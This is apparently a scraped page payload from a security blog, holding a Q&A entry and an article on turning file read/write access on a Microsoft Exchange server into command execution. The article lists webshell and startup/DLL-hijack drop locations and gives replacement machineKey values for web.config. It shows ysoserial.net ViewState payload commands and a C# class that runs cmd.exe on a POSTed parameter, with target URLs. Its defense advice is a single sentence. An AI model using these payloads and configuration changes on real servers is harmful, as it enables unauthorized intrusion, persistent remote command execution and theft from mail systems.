[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f4mvhz--yyMBLMjBE6v9FO9uhXngEeQGAgDwPRIMa42Q":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":50,"createdAt":50,"_status":49},781,"Why are conventional methods like writing a webshell or PE file insufficient for achieving command execution on an Exchange server?","Writing a webshell may fail because the Exchange server may disable command execution functions (like `system()` in PHP). Writing PE files (exe\u002Fdll) relies on system or user startup and cannot provide real-time command execution. Both methods are passive and require additional actions (e.g., rebooting) to trigger. In contrast, modifying MachineKey for .NET deserialization enables immediate command execution via viewstate, as described in [Penetration Techniques - From Exchange File Read\u002FWrite Permissions to Command Execution](\u002Fnews\u002Fpenetration-techniques-from-exchange-file-read-write-permissions-to-command-execution).","\u003Cp>Writing a webshell may fail because the Exchange server may disable command execution functions (like `system()` in PHP). Writing PE files (exe\u002Fdll) relies on system or user startup and cannot provide real-time command execution. Both methods are passive and require additional actions (e.g., rebooting) to trigger. In contrast, modifying MachineKey for .NET deserialization enables immediate command execution via viewstate, as described in [Penetration Techniques - From Exchange File Read\u002FWrite Permissions to Command Execution](\u002Fnews\u002Fpenetration-techniques-from-exchange-file-read-write-permissions-to-command-execution).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-techniques-from-exchange-file-read-write-permissions-to-command-execution\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","why-are-conventional-methods-like-writing-a-webshell-or-pe-file-insufficient-for-1777481853885","webshell, PE file, command execution limitation, passive trigger, startup folder, DLL hijacking",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":46,"updatedAt":47,"createdAt":48,"_status":49},191,"Penetration Techniques - From Exchange File Read\u002FWrite Permissions to Command Execution","penetration-techniques-from-exchange-file-read-write-permissions-to-command-execution","Learn how to escalate from Exchange file read\u002Fwrite permissions to command execution using .NET deserialization and MachineKey manipulation. Includes exploitation methods and defense tips.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In actual penetration testing scenarios, we encounter various environments, such as obtaining file read\u002Fwrite permissions on an Exchange server but being unable to execute commands.\u003C\u002Fp>\u003Cp>This article will provide an implementation method, analyze exploitation approaches, detail script development, and offer defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Solution Approach\u003C\u002Fli>\u003Cli>Exploitation Methods\u003C\u002Fli>\u003Cli>Program Implementation\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Solution Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Conventional Solution Approach\u003C\u002Fh3>\u003Cp>(1) Writing Webshell\u003C\u002Fp>\u003Cp>Typically choose the following two locations:\u003C\u002Fp>\u003Cul>\u003Cli>%ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\u003C\u002Fli>\u003Cli>%ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The advantage of choosing these two locations is that the webshell can be accessed directly.\u003C\u002Fp>\u003Cp>Other locations can also be chosen, such as %ExchangeInstallPath%\\ClientAccess\\ecp\\, but there are restrictions on the file name; the naming rules can be referenced from %ExchangeInstallPath%\\ClientAccess\\ecp\\web.config.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Accessing a webshell under %ExchangeInstallPath%\\ClientAccess\\ requires adding a valid user's login cookie.\u003C\u002Fp>\u003Cp>In summary, the method of writing a webshell is relatively straightforward, but the Exchange server may have disabled command execution permissions or blocked system function calls, still preventing command execution.\u003C\u002Fp>\u003Cp>(2) Writing PE Files\u003C\u002Fp>\u003Cp>Writing an exe file, you can choose the following two startup folders:\u003C\u002Fp>\u003Cul>\u003Cli>System startup folder location: %ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\u003C\u002Fli>\u003Cli>User startup folder location: %USERPROFILE%\\Appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Writing a dll file, you can choose common system dll hijacking locations, such as c:\\Windows\\System32\\fxsst.dll. For more details, refer to: an open-source project.\u003C\u002Fp>\u003Cp>In summary, the method of writing PE files is relatively passive, requiring the system to load them, and cannot achieve real-time command execution.\u003C\u002Fp>\u003Ch3>2. Effective Solution Approach\u003C\u002Fh3>\u003Cp>Modify Exchange configuration, set MachineKey, achieve command execution via .NET deserialization\u003C\u002Fp>\u003Cp>Learning resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.zcgonvh.com\u002Fpost\u002Fweaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.knownsec.com\u002F2020\u002F11\u002Fnet-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8b-viewstate-%e5%88%a9%e7%94%a8\u002F\u003C\u002Fp>\u003Cp>In simple terms, by setting the MachineKey, we can achieve the same effect as CVE-2020-0688. That is, after setting the MachineKey to the default value, we can directly use CVE-2020-0688 exploitation tools to achieve command execution.\u003C\u002Fp>\u003Ch2>0x03 Exploitation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Modify %ExchangeInstallPath%\\ClientAccess\\ecp\\web.config\u003C\u002Fp>\u003Cp>Change \u003Cmachinekey validationkey=\"AutoGenerate,IsolateApps\"> to \u003Cmachinekey validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" decryptionkey=\"E9D2490BD0075B51D1BA5288514514AF\" validation=\"SHA1\" decryption=\"3DES\">\u003C\u002Fmachinekey>\u003C\u002Fmachinekey>\u003C\u002Fp>\u003Cp>If this attribute does not exist, add \u003Cmachinekey validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" decryptionkey=\"E9D2490BD0075B51D1BA5288514514AF\" validation=\"SHA1\" decryption=\"3DES\"> under system.web\u003C\u002Fmachinekey>\u003C\u002Fp>\u003Cp>After that, you can directly use CVE-2020-0688 exploitation tools. A mature tool to choose is: https:\u002F\u002Fgithub.com\u002Fzcgonvh\u002FCVE-2020-0688\u002F. Compared to other open-source exploitation tools, this tool can obtain command execution results in real-time and also supports loading shellcode functionality. The technical details are worth in-depth study.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Most CVE-2020-0688 exploitation tools rely on ysoserial.net's TextFormattingRunProperties to achieve command execution, but cannot obtain command execution results in real-time.\u003C\u002Fp>\u003Cp>ysoserial.net-1.32's ActivitySurrogateSelectorFromFile can load .NET assemblies via Assembly.Load to return command execution results, but its compatibility is insufficient and does not support all versions of the .NET environment.\u003C\u002Fp>\u003Cp>zcgonvh's open-source CVE-2020-0688 exploitation tool resolves the ActivitySurrogateSelectorFromFile compatibility issue in ysoserial.net-1.32, while also implementing AES encryption for communication data.\u003C\u002Fp>\u003Cp>ysoserial.net-1.33 fixes the ActivitySurrogateSelectorFromFile compatibility bug, which was resolved by zcgonvh.\u003C\u002Fp>\u003Cp>We know that exploiting CVE-2020-0688 requires obtaining credentials of a legitimate user. However, we only have file read\u002Fwrite permissions on the Exchange server and cannot immediately obtain legitimate user credentials. The following two methods can be used to bypass this restriction.\u003C\u002Fp>\u003Cp>(1) Modify %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\web.config\u003C\u002Fp>\u003Cp>Change \u003Cmachinekey validationkey=\"AutoGenerate,IsolateApps\"> to \u003Cmachinekey validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" decryptionkey=\"E9D2490BD0075B51D1BA5288514514AF\" validation=\"SHA1\" decryption=\"3DES\">\u003C\u002Fmachinekey>\u003C\u002Fmachinekey>\u003C\u002Fp>\u003Cp>Here, validationKey and decryptionKey can be arbitrarily specified, with characters ranging from hexadecimal (0~F).\u003C\u002Fp>\u003Cp>The following algorithms can also be selected:\u003C\u002Fp>\u003Cul>\u003Cli>MD5\u003C\u002Fli>\u003Cli>AES\u003C\u002Fli>\u003Cli>HMACSHA256\u003C\u002Fli>\u003Cli>HMACSHA384\u003C\u002Fli>\u003Cli>HMACSHA512\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Key length must meet algorithm requirements. Reference material:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdevblogs.microsoft.com\u002Faspnet\u002Fcryptographic-improvements-in-asp-net-4-5-pt-1\u002F\u003C\u002Fp>\u003Cp>(2) Modify %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\web.config\u003C\u002Fp>\u003Cp>Same as above\u003C\u002Fp>\u003Cp>For the .Net deserialization command execution at these two locations, legitimate user credentials are no longer required, so the exploit program also needs to be modified. The following details three implementations of the exploit program.\u003C\u002Fp>\u003Ch2>0x04 Implementation Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Two Methods to Calculate VIEWSTATEGENERATOR\u003C\u002Fh3>\u003Cp>Exchange's .Net deserialization uses ViewState, where the essential parameter is VIEWSTATEGENERATOR. For example, the default VIEWSTATEGENERATOR used in the Python exploit tool for CVE-2020-0688 is B97B4E27, representing the page ecp\u002Fdefault.aspx, corresponding to the ysoserial.net parameter --path=\"\u002Fecp\u002Fdefault.aspx\" --apppath=\"\u002Fecp\u002F\".\u003C\u002Fp>\u003Cp>The following introduces two methods to calculate VIEWSTATEGENERATOR:\u003C\u002Fp>\u003Cp>The C# implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>using System;\u003Cbr>class a\u003Cbr>{\u003Cbr>    static void Main(string[] args)\u003Cbr>    {\u003Cbr>        int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode(\"\u002Fecp\");\u003Cbr>\tuint _clientstateid=(uint)(hashcode)\u003Cbr>+StringComparer.InvariantCultureIgnoreCase.GetHashCode(\"default_aspx\"));\u003Cbr>Console.WriteLine(_clientstateid.ToString(\"X2\"));\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The result is B97B4E27\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code from http:\u002F\u002Fwww.zcgonvh.com\u002Fpost\u002Fweaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html\u003C\u002Fp>\u003Cp>It can also be calculated automatically via webpage, method as follows:\u003C\u002Fp>\u003Cp>In the actual test environment, modify the content of ecp\u002Fdefault.aspx as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Cbr>\u003Cbr>\u003Cbr>    \u003C\u002Fp>\u003Cform runat=\"server\">\u003Cbr>    \u003C\u002Fform>\u003Cbr>\u003Cbr>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Access the page via browser, the __VIEWSTATEGENERATOR in the returned result is the computed value\u003C\u002Fp>\u003Ch3>2. Three deserializer implementations that do not require valid user credentials\u003C\u002Fh3>\u003Cp>(1) Python code for command execution using ysoserial.net's TextFormattingRunProperties\u003C\u002Fp>\u003Cp>The parameter format corresponding to ysoserial.net in CVE-2020-0688 is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c \"{command}\" --validationalg=\"SHA1\" --validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" --generator=\"{generator}\" --viewstateuserkey=\"{}\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Since our exploitation does not require valid user credentials, the new ysoserial.net parameter format is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g TextFormattingRunProperties -c \"{command}\" --validationalg=\"SHA1\" --validationkey=\"{key}\" --generator=\"{generator}\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The parameter descriptions are as follows:\u003C\u002Fp>\u003Cul>\u003Cli>{command} corresponds to the command we want to execute\u003C\u002Fli>\u003Cli>{key} corresponds to the validationKey we set\u003C\u002Fli>\u003Cli>{generator} corresponds to the VIEWSTATEGENERATOR of the page to be accessed\u003C\u002Fli>\u003C\u002Ful>\u003Cp>After generating the final VIEWSTATE data using ysoserial.net's TextFormattingRunProperties, concatenate it into the following format:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>https:\u002F\u002F{url}?__VIEWSTATEGENERATOR={generator}&amp;__VIEWSTATE={out_payload}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Send a GET request packet\u003C\u002Fp>\u003Cp>The following is an example for illustration:\u003C\u002Fp>\u003Cp>Select the default error page for Exchange: %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx\u003C\u002Fp>\u003Cp>The VIEWSTATEGENERATOR corresponding to owa\\auth\\errorFE.aspx is 042A94E8\u003C\u002Fp>\u003Cp>Generate the final VIEWSTATE data using ysoserial.net's TextFormattingRunProperties\u003C\u002Fp>\u003Cp>The final accessed URL is: https:\u002F\u002F\u003Cip>\u002Fowa\u002Fauth\u002FerrorFE.aspx?__VIEWSTATEGENERATOR=042A94E8&amp;__VIEWSTATE={out_payload}\u003C\u002Fip>\u003C\u002Fp>\u003Cp>The complete implementation code has been uploaded to GitHub, with the address as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports deserialization execution at two locations: the default existing file %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\\TimeoutLogout.aspx\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Since we have obtained file read and write permissions on the Exchange server, the code results can be output to a specified file for viewing. Example command: net user \u002Fdomain &gt;c:\\test.txt\u003C\u002Fp>\u003Cp>(2) Python code that uses ysoserial.net's ActivitySurrogateSelectorFromFile to execute commands and return results\u003C\u002Fp>\u003Cp>The version of ysoserial.net used here must be higher than 1.32 to avoid compatibility bugs with ActivitySurrogateSelectorFromFile\u003C\u002Fp>\u003Cp>Create a new file ExploitClass.cs with the following content:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>class E\u003Cbr>{\u003Cbr>    public E()\u003Cbr>    {\u003Cbr>        System.Web.HttpContext context = System.Web.HttpContext.Current;\u003Cbr>        context.Server.ClearError();\u003Cbr>        context.Response.Clear();\u003Cbr>        try\u003Cbr>        {\u003Cbr>            System.Diagnostics.Process process = new System.Diagnostics.Process();\u003Cbr>            process.StartInfo.FileName = \"cmd.exe\";\u003Cbr>            string cmd = context.Request.Form[\"cmd\"];\u003Cbr>            process.StartInfo.Arguments = \"\u002Fc \" + cmd;\u003Cbr>            process.StartInfo.RedirectStandardOutput = true;\u003Cbr>            process.StartInfo.RedirectStandardError = true;\u003Cbr>            process.StartInfo.UseShellExecute = false;\u003Cbr>            process.Start();\u003Cbr>            string output = process.StandardOutput.ReadToEnd();\u003Cbr>            context.Response.Write(output);\u003Cbr>        } catch (System.Exception) {}\u003Cbr>        context.Response.Flush();\u003Cbr>        context.Response.End();\u003Cbr>    }\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code referenced from https:\u002F\u002Fdevco.re\u002Fblog\u002F2020\u002F03\u002F11\u002Fplay-with-dotnet-viewstate-exploit-and-create-fileless-webshell\u002F\u003C\u002Fp>\u003Cp>For more usage, refer to https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net\u002Fblob\u002Fmaster\u002FExploitClass\u002FExploitClass.cs\u003C\u002Fp>\u003Cp>The parameter format for ysoserial.net is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c \"ExploitClass.cs;System.Web.dll;System.dll;\" --validationalg=\"SHA1\" --validationkey=\"{key}\" --generator=\"{generator}\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After generating the final VIEWSTATE data using ysoserial.net's ActivitySurrogateSelectorFromFile, construct a POST data packet, add a parameter named cmd with the value being the command to execute\u003C\u002Fp>\u003Cp>Higher versions of .NET Framework will block ActivitySurrogateSelector, which can be bypassed using ysoserial.net's ActivitySurrogateDisableTypeCheck. The corresponding parameter format is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c \"ignore\" --validationalg=\"SHA1\" --validationkey=\"{key}\" --generator=\"{generator}\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The complete implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\\TimeoutLogout.aspx\u003C\u002Fp>\u003Cp>The code can execute commands and obtain command execution results. Data is sent via POST with the parameter __Value, and communication data is encrypted using character-by-character XOR encryption.\u003C\u002Fp>\u003Cp>(3) C# code for credentialless exploitation based on https:\u002F\u002Fgithub.com\u002Fzcgonvh\u002FCVE-2020-0688\u002F\u003C\u002Fp>\u003Cp>The VIEWSTATE data generation process remains consistent with https:\u002F\u002Fgithub.com\u002Fzcgonvh\u002FCVE-2020-0688\u002F, requiring only the validationkey to be passed as a variable.\u003C\u002Fp>\u003Cp>Both %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\web.config and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\web.config do not restrict POST requests, so exploitation no longer requires writing empty files. The final VIEWSTATE data can be generated directly and sent via POST.\u003C\u002Fp>\u003Cp>The complete implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\\TimeoutLogout.aspx\u003C\u002Fp>\u003Cp>The supported features remain consistent with https:\u002F\u002Fgithub.com\u002Fzcgonvh\u002FCVE-2020-0688\u002F\u003C\u002Fp>\u003Ch2>0x05 Defense and Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>After an Exchange server is compromised, it is necessary not only to scan for suspicious webshells but also to determine whether the machineKey in web.config has been modified.\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article presents a method for achieving command execution from Exchange file read\u002Fwrite permissions, analyzes the exploitation approach, details the development of three exploitation scripts, and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",6,"published","2026-02-02T07:38:21.199Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Exchange Penetration: File Permissions to Command Execution Exploit","Exchange server penetration, file read write permissions, command execution, CVE-2020-0688, webshell, .NET deserialization, MachineKey, exploitation techniques, penetration testing, defense recommendations",false,[],{"docs":41,"hasNextPage":38},[4,42,43,44,45],780,779,778,777,{"title":30,"description":30,"image":30},"2026-07-24T02:07:19.175Z","2026-07-23T16:02:04.807Z","draft","2026-07-23T16:14:43.459Z"]